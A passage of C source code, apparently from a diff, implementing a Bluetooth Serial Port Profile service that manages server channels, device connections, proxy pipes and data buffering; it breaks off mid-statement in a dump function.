CONFIG_BLUETOOTH_SPP_DUMPBUFFER +#define spp_dumpbuffer(m, a, n) lib_dumpbuffer(m, a, n) +#else +#define spp_dumpbuffer(m, a, n) +#endif + +#define STACK_SVR_PORT(scn) (((scn << 1) & 0x3E) + 1) +#define STACK_CONN_PORT(scn, conn_id, accept) \ + ((conn_id << 6) + (accept ? STACK_SVR_PORT(scn) : ((scn << 1) & 0x3E))) +#define SERVICE_SCN(port) ((port & 0x3E) >> 1) +#define SERVICE_CONN_ID(conn_port) (conn_port >> 6) + +#ifdef CONFIG_RPMSG_UART +#define SPP_UART_DEV "/dev/ttyDROID" +#endif + +#define SPP_PROXY_SERVER_PREF "btspp-srv" +/**************************************************************************** + * Private Types + ****************************************************************************/ + +struct spp_service_global { + uint8_t started; + uint8_t registered; + index_allocator_t* allocator; + uint32_t server_channel_map; + struct list_node devices; + struct list_node servers; + struct list_node apps; + pthread_mutex_t spp_lock; +}; + +typedef struct spp_handle { + struct list_node node; + bt_instance_t* ins; + char name[64]; + void* remote; + const spp_callbacks_t* cbs; +} spp_handle_t; + +typedef struct { + uint16_t length; + uint8_t* buffer_head; +} cache_buf_t; + +typedef struct { + struct list_node node; + uint16_t scn; + bt_uuid_t uuid; + spp_handle_t* app_handle; +} spp_server_t; + +typedef struct +{ + struct list_node node; + uint8_t* buffer; + uint16_t length; +} spp_rx_buf_t; + +typedef struct { + struct list_node node; + spp_server_t* server; + euv_pipe_t* handle; + service_timer_t* timer; + cache_buf_t cache_buf; + struct list_node rx_list; + bool accept; + bt_address_t addr; + int16_t scn; + uint16_t conn_port; + uint16_t conn_id; + bt_uuid_t uuid; + uint16_t mfs; + uint16_t next_to_read; + char proxy_name[20]; + uint8_t remaining_quota; + uint32_t rx_bytes; + uint32_t tx_bytes; + spp_handle_t* app_handle; + /* connection state */ + profile_connection_state_t state; + spp_proxy_state_t proxy_state; +} spp_device_t; + +typedef struct { + enum { + STATE_CHANEG = 0, + DATA_SENT, + DATA_RECEIVED, + CONN_REQ_RECEIVED, + UPDATE_MFS + } event; + uint16_t port; + uint16_t length; + uint16_t sent_length; + uint8_t* buffer; + bt_address_t addr; + /* connection state */ + profile_connection_state_t state; +} spp_msg_t; + +/**************************************************************************** + * Private Function Prototypes + ****************************************************************************/ +static int do_spp_write(spp_device_t* device, uint8_t* buffer, uint16_t length); +static void spp_server_cleanup_devices(spp_server_t* server); +static void spp_proxy_connection_callback(euv_pipe_t* handle, int status, void* user_data); +static bt_status_t spp_unregister_app(void** remote, void* handle); +static bool spp_rx_buffer_empty(spp_device_t* device); + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static struct spp_service_global g_spp_handle = { .started = 0 }; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +#if 0 +static const char* spp_event_to_string(uint8_t event) +{ + switch (event) { + CASE_RETURN_STR(STATE_CHANEG) + CASE_RETURN_STR(DATA_SENT) + CASE_RETURN_STR(DATA_RECEIVED) + CASE_RETURN_STR(CONN_REQ_RECEIVED) + CASE_RETURN_STR(UPDATE_MFS) + default: + return "UNKNOWN"; + } +} +#endif + +static void spp_notify_connection_state(spp_device_t* device, profile_connection_state_t state) +{ + assert(device); + if (!device->app_handle) + return; + + void* handle = device->app_handle->remote ? device->app_handle->remote : device->app_handle; + + if (device->app_handle->cbs && device->app_handle->cbs->connection_state_cb) + device->app_handle->cbs->connection_state_cb(handle, &device->addr, + device->scn, device->conn_id, state); +} + +static void spp_notify_proxy_state(spp_device_t* device, spp_proxy_state_t state) +{ + assert(device); + if (!device->app_handle) + return; + + void* handle = device->app_handle->remote ? device->app_handle->remote : device->app_handle; + + if (device->app_handle->cbs && device->app_handle->cbs->proxy_state_cb) + device->app_handle->cbs->proxy_state_cb(handle, &device->addr, state, device->scn, + device->conn_id, device->proxy_name); +} + +static int scn_bit_check(uint16_t scn) +{ + /* 29 and 30 for HFP */ + if (scn < 1 || scn > 28) + return -EINVAL; + + return g_spp_handle.server_channel_map & (1 << scn); +} + +static int scn_bit_alloc(uint16_t scn) +{ + if (scn_bit_check(scn) != 0) + return -ENOMEM; + + g_spp_handle.server_channel_map |= (1 << scn); + + return 0; +} + +static int scn_bit_free(uint16_t scn) +{ + /* 29 and 30 for HFP */ + if (scn < 1 || scn > 28) + return -EINVAL; + + g_spp_handle.server_channel_map &= ~(1 << scn); + + return 0; +} + +static spp_server_t* alloc_new_server(uint16_t scn, bt_uuid_t* uuid, spp_handle_t* handle) +{ + if (scn_bit_alloc(scn) != 0) { + BT_LOGW("No available scn"); + return NULL; + } + + spp_server_t* server = malloc(sizeof(spp_server_t)); + if (!server) { + BT_LOGE("No memory for spp server"); + return NULL; + } + + server->scn = scn; + bt_uuid_to_uuid128(uuid, &server->uuid); + server->app_handle = handle; + list_add_tail(&g_spp_handle.servers, &server->node); + + return server; +} + +static void free_server_resource(spp_server_t* server) +{ + BT_LOGD("%s, scn: %" PRIu16, __func__, server->scn); + spp_server_cleanup_devices(server); + scn_bit_free(server->scn); + list_delete(&server->node); + free(server); +} + +static spp_server_t* find_server(uint16_t scn) +{ + spp_server_t* server; + struct list_node* node; + + list_for_every(&g_spp_handle.servers, node) + { + server = (spp_server_t*)node; + if (server->scn == scn) + return server; + } + + BT_LOGW("%s, server not found: %d", __func__, scn); + return NULL; +} + +static spp_device_t* alloc_new_device(bt_address_t* addr, int16_t scn, + bt_uuid_t* uuid, bool accept, + spp_handle_t* handle) +{ + int conn_id; + spp_device_t* device; + + conn_id = index_alloc(g_spp_handle.allocator); + if (conn_id < 0) { + BT_LOGW("No available conn_id"); + return NULL; + } + + device = malloc(sizeof(spp_device_t)); + if (device == NULL) { + BT_LOGE("No memory for spp device"); + return NULL; + } + + memset(device, 0, sizeof(spp_device_t)); + device->conn_id = conn_id; + device->scn = scn; + device->app_handle = handle; + device->conn_port = STACK_CONN_PORT(scn, device->conn_id, accept); + device->accept = accept; + device->mfs = DEFAULT_PACKET_SIZE; + bt_uuid_to_uuid128(uuid, &device->uuid); + device->tx_bytes = 0; + device->rx_bytes = 0; + device->remaining_quota = SENDING_BUFS_QUOTA; + device->state = PROFILE_STATE_DISCONNECTED; + device->proxy_state = SPP_PROXY_STATE_DISCONNECTED; + memcpy(&device->addr, addr, sizeof(bt_address_t)); + list_initialize(&device->rx_list); + list_add_tail(&g_spp_handle.devices, &device->node); + + return device; +} + +static spp_device_t* find_spp_device_by_conn(uint16_t conn_id) +{ + spp_device_t* device; + struct list_node* node; + + if (!g_spp_handle.started) + return NULL; + + list_for_every(&g_spp_handle.devices, node) + { + device = (spp_device_t*)node; + if (conn_id == device->conn_id) + return device; + } + + BT_LOGW("Device not found for conn_id:%d", conn_id); + return NULL; +} + +static spp_device_t* find_spp_device_by_handle(euv_pipe_t* handle) +{ + spp_device_t* device; + struct list_node* node; + + if (!g_spp_handle.started) + return NULL; + + list_for_every(&g_spp_handle.devices, node) + { + device = (spp_device_t*)node; + if (device->handle == handle) + return device; + } + + BT_LOGW("Device not found for handle: %p", handle); + return NULL; +} + +static void remove_spp_device(spp_device_t* device) +{ + BT_LOGI("spp device remove, conn_id: %d", device->conn_id); + index_free(g_spp_handle.allocator, device->conn_id); + list_delete(&device->node); + free(device); +} + +static bool spp_app_is_exist(void* handle) +{ + struct list_node* node; + + list_for_every(&g_spp_handle.apps, node) + { + if ((void*)node == handle) + return true; + } + + BT_LOGW("spp app not found: %p", handle); + return false; +} + +static spp_device_t* spp_device_open(spp_device_t* device) +{ + if (!device) { + BT_LOGE("%s, device null", __func__); + return NULL; + } + + sprintf(device->proxy_name, "%s-%d", SPP_PROXY_SERVER_PREF, device->conn_id); + device->handle = euv_pipe_open(get_service_uv_loop(), device->proxy_name, spp_proxy_connection_callback, device); + if (!device->handle) { + BT_LOGE("spp proxy open fail, proxy_name: %s", device->proxy_name); + goto error; + } + + BT_LOGD("spp proxy open success, name: %s, handle: %p", device->proxy_name, device->handle); + return device; + +error: + remove_spp_device(device); + return NULL; +} + +static void spp_device_close(spp_device_t* device) +{ + if (device->timer != NULL) { + service_loop_cancel_timer(device->timer); + device->timer = NULL; + } + + if (device->state == PROFILE_STATE_CONNECTED || device->state == PROFILE_STATE_CONNECTING) + bt_sal_spp_disconnect(device->conn_port); + + if (device->handle) { + euv_pipe_close(device->handle); + device->handle = NULL; + } + + if (device->cache_buf.length > 0) { + BT_LOGD("%s, free cache buf, length: %d", __func__, device->cache_buf.length); + free(device->cache_buf.buffer_head); + device->cache_buf.length = 0; + } + + if (!spp_rx_buffer_empty(device)) { + BT_LOGD("%s, free rx cache list, list_length: %zu", __func__, list_length(&device->rx_list)); + struct list_node *node, *tmp; + + list_for_every_safe(&device->rx_list, node, tmp) + { + /* The memory pointed to by buf->buffer must be released prior to the protocol stack + reporting status. */ + list_delete(node); + free(node); + } + } + + device->app_handle = NULL; +} + +static void spp_device_cleanup(spp_device_t* device, bool notify) +{ + if (notify) + spp_notify_connection_state(device, PROFILE_STATE_DISCONNECTED); + + spp_device_close(device); + remove_spp_device(device); +} + +static void spp_server_cleanup_devices(spp_server_t* server) +{ + spp_device_t* device; + struct list_node* node; + struct list_node* tmp; + + list_for_every_safe(&g_spp_handle.devices, node, tmp) + { + device = (spp_device_t*)node; + if (device->server == server) { + BT_LOGD("%s, close spp conn: %" PRIu16, __func__, device->conn_id); + spp_device_cleanup(device, true); + } + } +} + +static void spp_app_cleanup_servers(spp_handle_t* app) +{ + spp_server_t* server; + struct list_node* node; + struct list_node* tmp; + + list_for_every_safe(&g_spp_handle.servers, node, tmp) + { + server = (spp_server_t*)node; + if (server->app_handle == app) { + bt_sal_spp_server_stop(STACK_SVR_PORT(server->scn)); + free_server_resource(server); + } + } +} + +static void spp_app_cleanup_devices(spp_handle_t* app) +{ + spp_device_t* device; + struct list_node* node; + struct list_node* tmp; + + BT_LOGD("%s, app_handle: %p", __func__, app); + + // cleanup all device + list_for_every_safe(&g_spp_handle.devices, node, tmp) + { + device = (spp_device_t*)node; + if (device->app_handle == app) { + bt_pm_conn_close(PROFILE_SPP, &device->addr); + BT_LOGD("%s, close spp conn: %" PRIu16, __func__, device->conn_id); + spp_device_cleanup(device, true); + } + } +} + +static void spp_cleanup_app(spp_handle_t* app) +{ + /* cleanpup local server */ + spp_app_cleanup_servers(app); + + /* cleanpup all initiator device */ + spp_app_cleanup_devices(app); +} + +static void spp_cleanup_all_apps(void) +{ + struct list_node* node; + struct list_node* tmp; + + // cleanup all device + list_for_every_safe(&g_spp_handle.apps, node, tmp) + { + spp_cleanup_app((spp_handle_t*)node); + list_delete(&((spp_handle_t*)node)->node); + free(node); + } +} + +static void euv_alloc_buffer(euv_pipe_t* handle, uint8_t** buf, size_t* len) +{ + spp_device_t* device; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + device = find_spp_device_by_handle(handle); + if (!device || buf == NULL) { + *len = 0; + goto unlock; + } + + if (device->cache_buf.length > 0) { + *len = device->mfs - device->cache_buf.length; + *buf = device->cache_buf.buffer_head + device->cache_buf.length; + } else { + *len = device->mfs; + *buf = malloc(*len); + } + +unlock: + pthread_mutex_unlock(&g_spp_handle.spp_lock); +} + +static void euv_read_complete(euv_pipe_t* handle, const uint8_t* buf, ssize_t size) +{ + spp_device_t* device; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + device = find_spp_device_by_handle(handle); + if (!device || buf == NULL) + goto unlock; + + if (size <= 0) { + if (buf && (device->cache_buf.length == 0)) + free((void*)buf); + + if (size < 0) + spp_device_close(device); + + goto unlock; + } + + spp_dumpbuffer("master read:", buf, size); + do_spp_write(device, (uint8_t*)buf, size); + +unlock: + pthread_mutex_unlock(&g_spp_handle.spp_lock); +} + +static void euv_write_complete(euv_pipe_t* handle, uint8_t* buf, int status) +{ + spp_device_t* device; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + device = find_spp_device_by_handle(handle); + if (!device || buf == NULL) + goto unlock; + + bt_sal_spp_data_received_response(device->conn_port, buf); + if (status != 0) + spp_device_close(device); + +unlock: + pthread_mutex_unlock(&g_spp_handle.spp_lock); +} + +static void spp_rx_buffer_send(spp_device_t* device) +{ + struct list_node *node, *tmp; + spp_rx_buf_t* buf; + + BT_LOGD("spp_rx_buffer_send, rx_list: %zu, rx_bytes: %" PRIu32 "", list_length(&device->rx_list), device->rx_bytes); + list_for_every_safe(&device->rx_list, node, tmp) + { + buf = (spp_rx_buf_t*)node; + device->rx_bytes += buf->length; + if (euv_pipe_write(device->handle, buf->buffer, buf->length, euv_write_complete) != 0) { + BT_LOGE("Spp write to slave port %d failed", device->conn_port); + break; + } + spp_dumpbuffer("master buffer write:", buf->buffer, buf->length); + list_delete(node); + free(node); + } +} + +static bool spp_rx_buffer_empty(spp_device_t* device) +{ + return list_is_empty(&device->rx_list); +} + +static void spp_rx_buffer_cache(spp_device_t* device, uint8_t* buffer, uint16_t length) +{ + spp_rx_buf_t* rx_buf = (spp_rx_buf_t*)malloc(sizeof(spp_rx_buf_t)); + + if (!rx_buf) { + BT_LOGE("%s, malloc failed", __func__); + return; + } + + rx_buf->buffer = buffer; + rx_buf->length = length; + list_add_tail(&device->rx_list, &rx_buf->node); +} + +static void spp_proxy_connection_callback(euv_pipe_t* handle, int status, void* user_data) +{ + spp_device_t* device; + int ret; + + if (status < 0) { + BT_LOGE("%s,uv listen error: %d", __func__, status); + BT_DFX_IPC_CONN_ERROR(BT_DFXE_SPP_CONN_FAIL, ""); + return; + } + +#ifdef CONFIG_NET_RPMSG + /* close unused pipe */ + euv_pipe_close2(handle); +#endif + + device = find_spp_device_by_handle(handle); + if (!device || !device->handle) { + BT_LOGE("%s, device or handle null", __func__); + return; + } + + BT_LOGD("%s, connection port %" PRIu16 ", proxy state: %d", __func__, device->conn_id, device->proxy_state); + if (device->proxy_state == SPP_PROXY_STATE_CLOSING) { + spp_device_cleanup(device, false); + return; + } + + BT_LOGD("spp proxy connected, status: %d", status); + device->proxy_state = SPP_PROXY_STATE_CONNECTED; + spp_rx_buffer_send(device); + + ret = euv_pipe_read_start(device->handle, device->next_to_read, euv_read_complete, euv_alloc_buffer); + if (ret != 0) { + BT_LOGE("%s, read start fail", __func__); + spp_device_close(device); + } +} + +static void spp_cache_timeout(service_timer_t* timer, void* data) +{ + spp_device_t* device; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + device = find_spp_device_by_handle((euv_pipe_t*)data); + if (!device) + goto unlock; + + if (device->cache_buf.length == 0) + goto unlock; + + do_spp_write(device, NULL, 0); +unlock: + pthread_mutex_unlock(&g_spp_handle.spp_lock); +} + +static void spp_cache_fragement(spp_device_t* device, uint8_t* buffer, uint16_t length) +{ + device->cache_buf.buffer_head = buffer; + device->cache_buf.length = length; + /* cache timer */ + device->timer = service_loop_timer_no_repeating(CACHE_SEND_TIMEOUT, + spp_cache_timeout, + device->handle); + device->next_to_read = device->mfs - length; +} + +static void spp_cache_stop(spp_device_t* device) +{ + service_loop_cancel_timer(device->timer); + device->timer = NULL; + device->next_to_read = device->mfs; +} + +static int do_spp_write(spp_device_t* device, uint8_t* buffer, uint16_t length) +{ + bt_status_t status; + uint16_t remaining; + uint16_t cache_size; + uint16_t size; + uint8_t* tmpbuf; + + if (!device) + return -EINVAL; + + cache_size = device->cache_buf.length; + remaining = length + cache_size; + + do { + size = (remaining > device->mfs) ? device->mfs : remaining; + if (cache_size == 0 && size < device->mfs) { + spp_cache_fragement(device, buffer, size); + return 0; + } + + if (cache_size > 0) { + spp_cache_stop(device); + tmpbuf = device->cache_buf.buffer_head; + device->cache_buf.buffer_head = NULL; + device->cache_buf.length = 0; + cache_size = 0; + } else { + tmpbuf = buffer; + } + + bt_pm_busy(PROFILE_SPP, &device->addr); + status = bt_sal_spp_write(device->conn_port, tmpbuf, size); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("%s write to stack failed", __func__); + bt_pm_idle(PROFILE_SPP, &device->addr); + free(tmpbuf); + return length - remaining; + } + device->tx_bytes += size; + + if (!(--device->remaining_quota)) { + euv_pipe_read_stop(device->handle); + } + + remaining -= size; + buffer += size; + assert(remaining == 0); + } while (remaining); + + return length; +} + +static void spp_on_connection_state_chaneged(bt_address_t* addr, uint16_t port, + profile_connection_state_t state) +{ + spp_device_t* device; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + device = find_spp_device_by_conn(SERVICE_CONN_ID(port)); + if (device == NULL || memcmp(addr, &device->addr, 6) != 0) { + BT_LOGE("%s, port or address mismatch", __func__); + return; + } + + if (!device->accept && device->scn == UNKNOWN_SERVER_CHANNEL_NUM) { + device->scn = SERVICE_SCN(port); + device->conn_port = port; + } + + bt_addr_ba2str(&device->addr, addr_str); + BT_LOGD("%s, addr: %s, scn: %d, port: %d, state: %d", + __func__, addr_str, device->scn, device->conn_id, state); + device->state = state; + spp_notify_connection_state(device, state); + + if (state == PROFILE_STATE_CONNECTED) { + device = spp_device_open(device); + if (device == NULL) { + BT_LOGE("spp device open fail, disconnect port:%d", port); + bt_sal_spp_disconnect(port); + return; + } + + device->proxy_state = SPP_PROXY_STATE_CONNECTING; // waiting for proxy connection + spp_notify_proxy_state(device, SPP_PROXY_STATE_CONNECTED); + bt_pm_conn_open(PROFILE_SPP, &device->addr); + } else if (state == PROFILE_STATE_DISCONNECTED) { + bt_pm_conn_close(PROFILE_SPP, &device->addr); + spp_notify_proxy_state(device, SPP_PROXY_STATE_DISCONNECTED); + BT_LOGD("spp proxy state: %d", device->proxy_state); + if (device->proxy_state == SPP_PROXY_STATE_CONNECTING) { + BT_LOGI("spp proxy is waiting for connection, connection port: %" PRIu16 " release later", device->conn_id); + device->proxy_state = SPP_PROXY_STATE_CLOSING; + } else { + spp_device_cleanup(device, false); + } + } +} + +static void spp_on_incoming_data_received(bt_address_t* addr, uint16_t port, + uint8_t* buffer, uint16_t length) +{ + spp_device_t* device; + int ret; + + if (buffer == NULL) { + BT_LOGE("%s, buffer is NULL", __func__); + return; + } + + device = find_spp_device_by_conn(SERVICE_CONN_ID(port)); + if (!device) { + BT_LOGE("%s, port or address mismatch", __func__); + goto error; + } + + if (device->proxy_state != SPP_PROXY_STATE_CONNECTED) { + BT_LOGW("spp proxy cache, port: %d, buf:%p, length:%d", port, buffer, length); + spp_rx_buffer_cache(device, buffer, length); + return; + } + + if (!spp_rx_buffer_empty(device)) { + BT_LOGW("spp proxy handle cache, port: %d, buf:%p, length:%d", port, buffer, length); + spp_rx_buffer_cache(device, buffer, length); + spp_rx_buffer_send(device); + return; + } + + spp_dumpbuffer("master write:", buffer, length); + device->rx_bytes += length; + ret = euv_pipe_write(device->handle, buffer, length, euv_write_complete); + if (ret != 0) { + BT_LOGE("Spp write to slave port %d failed", device->conn_port); + spp_device_close(device); + goto error; + } + + return; + +error: + free(buffer); +} + +static void spp_on_outgoing_complete(uint16_t port, uint8_t* buffer, uint16_t length) +{ + spp_device_t* device; + + free(buffer); + device = find_spp_device_by_conn(SERVICE_CONN_ID(port)); + if (!device) + return; + + if (!device->remaining_quota && device->handle != NULL) { + euv_pipe_read_start(device->handle, device->next_to_read, euv_read_complete, euv_alloc_buffer); + } + device->remaining_quota++; +} + +static void spp_on_connect_request_received(bt_address_t* addr, uint16_t port) +{ + spp_server_t* server; + spp_device_t* device; + + server = find_server(SERVICE_SCN(port)); + if (!server) + return; + + device = alloc_new_device(addr, server->scn, &server->uuid, true, server->app_handle); + if (device) { + char uuid_str[40] = { 0 }; + bt_uuid_to_string(&server->uuid, uuid_str, 40); + BT_LOGD("CONN_REQ_RECEIVED scn:%d, uuid:%s, conn_id:%d", server->scn, uuid_str, device->conn_id); + device->server = server; + bt_sal_spp_connect_request_reply(addr, device->conn_port, true); + } else { + BT_LOGW("CONN_REQ_RECEIVED scn: %d, reject connection", port); + bt_sal_spp_connect_request_reply(addr, port, false); + } +} + +static void spp_on_connection_update_mfs(uint16_t port, uint16_t mfs) +{ + spp_device_t* device; + + device = find_spp_device_by_conn(SERVICE_CONN_ID(port)); + if (!device) + return; + + device->mfs = mfs; + device->next_to_read = mfs; +} + +static void spp_service_event_process(void* data) +{ + if (!data) + return; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + if (!g_spp_handle.started) { + pthread_mutex_unlock(&g_spp_handle.spp_lock); + return; + } + + spp_msg_t* msg = data; + switch (msg->event) { + case STATE_CHANEG: + spp_on_connection_state_chaneged(&msg->addr, msg->port, msg->state); + break; + case DATA_SENT: + spp_on_outgoing_complete(msg->port, msg->buffer, msg->length); + bt_pm_idle(PROFILE_SPP, &msg->addr); + break; + case DATA_RECEIVED: + bt_pm_busy(PROFILE_SPP, &msg->addr); + spp_on_incoming_data_received(&msg->addr, msg->port, msg->buffer, msg->length); + bt_pm_idle(PROFILE_SPP, &msg->addr); + break; + case CONN_REQ_RECEIVED: + spp_on_connect_request_received(&msg->addr, msg->port); + break; + case UPDATE_MFS: + spp_on_connection_update_mfs(msg->port, msg->length); + break; + default: + break; + } + + pthread_mutex_unlock(&g_spp_handle.spp_lock); + free(data); +} + +static bt_status_t spp_init(void) +{ + pthread_mutexattr_t attr; + + memset(&g_spp_handle, 0, sizeof(g_spp_handle)); + g_spp_handle.started = 0; + + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + if (pthread_mutex_init(&g_spp_handle.spp_lock, &attr) < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +} + +static bt_status_t spp_startup(profile_on_startup_t cb) +{ + bt_status_t status; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + if (g_spp_handle.started) { + pthread_mutex_unlock(&g_spp_handle.spp_lock); + cb(PROFILE_SPP, true); + return BT_STATUS_SUCCESS; + } + + g_spp_handle.server_channel_map = 0; + g_spp_handle.registered = 0; + g_spp_handle.allocator = index_allocator_create(CONNECTIONS_MAX); + list_initialize(&g_spp_handle.devices); + list_initialize(&g_spp_handle.servers); + list_initialize(&g_spp_handle.apps); + status = bt_sal_spp_init(); + if (status != BT_STATUS_SUCCESS) { + list_delete(&g_spp_handle.devices); + pthread_mutex_unlock(&g_spp_handle.spp_lock); + cb(PROFILE_SPP, false); + return BT_STATUS_FAIL; + } + + g_spp_handle.started = 1; + pthread_mutex_unlock(&g_spp_handle.spp_lock); + cb(PROFILE_SPP, true); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t spp_shutdown(profile_on_shutdown_t cb) +{ + pthread_mutex_lock(&g_spp_handle.spp_lock); + if (!g_spp_handle.started) { + pthread_mutex_unlock(&g_spp_handle.spp_lock); + cb(PROFILE_SPP, false); + return BT_STATUS_NOT_ENABLED; + } + + g_spp_handle.started = 0; + g_spp_handle.registered = 0; + g_spp_handle.server_channel_map = 0; + spp_cleanup_all_apps(); + index_allocator_delete(&g_spp_handle.allocator); + list_delete(&g_spp_handle.devices); + list_delete(&g_spp_handle.servers); + pthread_mutex_unlock(&g_spp_handle.spp_lock); + /* cleanup spp stack */ + bt_sal_spp_cleanup(); + cb(PROFILE_SPP, true); + + return BT_STATUS_SUCCESS; +} + +static void spp_process_msg(profile_msg_t* msg) +{ + switch (msg->event) { + case PROFILE_EVT_REMOTE_DETACH: { + bt_instance_t* ins = msg->data.data; + + if (ins->spp_cookie) { + BT_LOGD("%s PROFILE_EVT_REMOTE_DETACH", __func__); + void* handle = NULL; + spp_unregister_app(&handle, ins->spp_cookie); + ins->spp_cookie = NULL; + } + break; + } + default: + break; + } +} + +static int spp_get_state(void) +{ + return 1; +} + +static void* spp_register_app(void* remote, const char* name, const spp_callbacks_t* callbacks) +{ + spp_handle_t* hdl = NULL; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + if (!g_spp_handle.started) { + pthread_mutex_unlock(&g_spp_handle.spp_lock); + BT_LOGE("%s, SPP not started", __func__); + return NULL; + } + + if (g_spp_handle.registered == REGISTER_MAX) { + pthread_mutex_unlock(&g_spp_handle.spp_lock); + BT_LOGE("%s, spp register reach MAX number: %d", __func__, REGISTER_MAX); + return NULL; + } + + hdl = zalloc(sizeof(spp_handle_t)); + if (hdl == NULL) { + pthread_mutex_unlock(&g_spp_handle.spp_lock); + BT_LOGE("%s, spp handle malloc error", __func__); + return NULL; + } + + if (name) + strlcpy(hdl->name, name, sizeof(hdl->name)); + hdl->ins = NULL; + hdl->remote = remote; + hdl->cbs = callbacks; + g_spp_handle.registered++; + list_add_tail(&g_spp_handle.apps, &hdl->node); + + pthread_mutex_unlock(&g_spp_handle.spp_lock); + + return hdl; +} + +static bt_status_t spp_unregister_app(void** remote, void* handle) +{ + spp_handle_t* app = handle; + + if (!app || !spp_app_is_exist(handle)) + return BT_STATUS_FAIL; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + if (!g_spp_handle.started) { + pthread_mutex_unlock(&g_spp_handle.spp_lock); + return BT_STATUS_NOT_ENABLED; + } + + g_spp_handle.registered--; + + /* TODO: release all port bind on this handle */ + if (remote) + *remote = app->remote; + spp_cleanup_app(app); + list_delete(&app->node); + free(app); + pthread_mutex_unlock(&g_spp_handle.spp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t spp_server_start(void* handle, uint16_t scn, bt_uuid_t* uuid, uint8_t max_connection) +{ + bt_uuid_t uuid_128_dst; + spp_server_t* server; + bt_status_t ret = BT_STATUS_SUCCESS; + + /* TODO: check handle are valid */ + if (!handle) + return BT_STATUS_FAIL; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + if (!g_spp_handle.started) { + ret = BT_STATUS_NOT_ENABLED; + BT_DFX_SPP_CONN_ERROR(BT_DFXE_SPP_NOT_STARTUP); + goto unlock_exit; + } + + /* uuid any to uuid128 */ + bt_uuid_to_uuid128(uuid, &uuid_128_dst); + + /* alloc server */ + server = alloc_new_server(scn, uuid, handle); + if (!server) { + ret = BT_STATUS_NO_RESOURCES; + BT_DFX_SPP_CONN_ERROR(BT_DFXE_SPP_SCN_ALLOC_FAIL); + goto unlock_exit; + } + + char uuid_str[40] = { 0 }; + bt_uuid_to_string(&uuid_128_dst, uuid_str, 40); + BT_LOGI("%s, scn:%d, uuid:%s", __func__, scn, uuid_str); + bt_sal_spp_server_start(STACK_SVR_PORT(scn), &uuid_128_dst, MIN(max_connection, SERVER_CONNECTION_MAX)); + +unlock_exit: + pthread_mutex_unlock(&g_spp_handle.spp_lock); + return ret; +} + +static bt_status_t spp_server_stop(void* handle, uint16_t scn) +{ + spp_server_t* server; + bt_status_t ret = BT_STATUS_SUCCESS; + + /* TODO: check handle are valid */ + if (!handle) + return BT_STATUS_FAIL; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + if (!g_spp_handle.started) { + ret = BT_STATUS_NOT_ENABLED; + goto unlock_exit; + } + + server = find_server(scn); + if (!server) { + ret = BT_STATUS_FAIL; + goto unlock_exit; + } + + bt_sal_spp_server_stop(STACK_SVR_PORT(scn)); + free_server_resource(server); + +unlock_exit: + pthread_mutex_unlock(&g_spp_handle.spp_lock); + return ret; +} + +static bt_status_t spp_connect(void* handle, bt_address_t* addr, int16_t scn, bt_uuid_t* uuid, uint16_t* port) +{ + bt_status_t status = BT_STATUS_SUCCESS; + spp_device_t* device; + bt_uuid_t uuid_128_dst; + + /* TODO: check handle are valid */ + if (!handle) + return BT_STATUS_FAIL; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + if (!g_spp_handle.started) { + status = BT_STATUS_NOT_ENABLED; + goto unlock_exit; + } + + bt_uuid_to_uuid128(uuid, &uuid_128_dst); + device = alloc_new_device(addr, scn == UNKNOWN_SERVER_CHANNEL_NUM ? 0 : scn, + uuid, false, handle); + if (!device) { + status = BT_STATUS_NO_RESOURCES; + BT_DFX_SPP_CONN_ERROR(BT_DFXE_SPP_NO_RESOURCES); + goto unlock_exit; + } + + status = bt_sal_spp_connect(addr, device->conn_port, &uuid_128_dst); + if (status != BT_STATUS_SUCCESS) { + // spp_notify_connection_state(device, SPP_CONNECTION_STATE_DISCONNECTED); + remove_spp_device(device); + status = BT_STATUS_FAIL; + goto unlock_exit; + } + + // todo: start connect timer, release device if timeout + *port = device->conn_id; + device->state = PROFILE_STATE_CONNECTING; + BT_LOGD("%s, return port: %" PRIu16, __func__, device->conn_id); + +unlock_exit: + pthread_mutex_unlock(&g_spp_handle.spp_lock); + return status; +} + +static bt_status_t spp_disconnect(void* handle, bt_address_t* addr, uint16_t port) +{ + spp_device_t* device; + bt_status_t ret = BT_STATUS_SUCCESS; + + /* TODO: check handle are valid */ + if (!handle) + return BT_STATUS_FAIL; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + if (!g_spp_handle.started) { + pthread_mutex_unlock(&g_spp_handle.spp_lock); + return BT_STATUS_NOT_ENABLED; + } + + device = find_spp_device_by_conn(port); + if (device == NULL) { + ret = BT_STATUS_DEVICE_NOT_FOUND; + goto unlock_exit; + } + + if (bt_addr_compare(&device->addr, addr)) { + ret = BT_STATUS_DEVICE_NOT_FOUND; + BT_LOGE("%s, addr not match", __func__); + goto unlock_exit; + } + + device->state = PROFILE_STATE_DISCONNECTING; + bt_sal_spp_disconnect(device->conn_port); + +unlock_exit: + pthread_mutex_unlock(&g_spp_handle.spp_lock); + return ret; +} + +static void spp_cleanup(void) +{ + pthread_mutex_destroy(&g_spp_handle.spp_lock); +} + +static int spp_dump(void) +{ + spp_device_t* device; + spp_server_t* server = NULL; + struct list_node* node; + int i = 0; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + char uuid_str[40] = { 0 }; + + if (!g_spp_handle.started) + return 0; + + pthread_mutex_lock(&g_spp_handle.spp_lock); + list_for_every(&g_spp_handle.servers, node) + { + i++; + server = (spp_server_t*)node; + bt_uuid_to_string(&server->uuid, uuid_str, 40); + printf("\tServer[%d]: Scn:%d, UUID:%s" PRIx16 "\n", i, 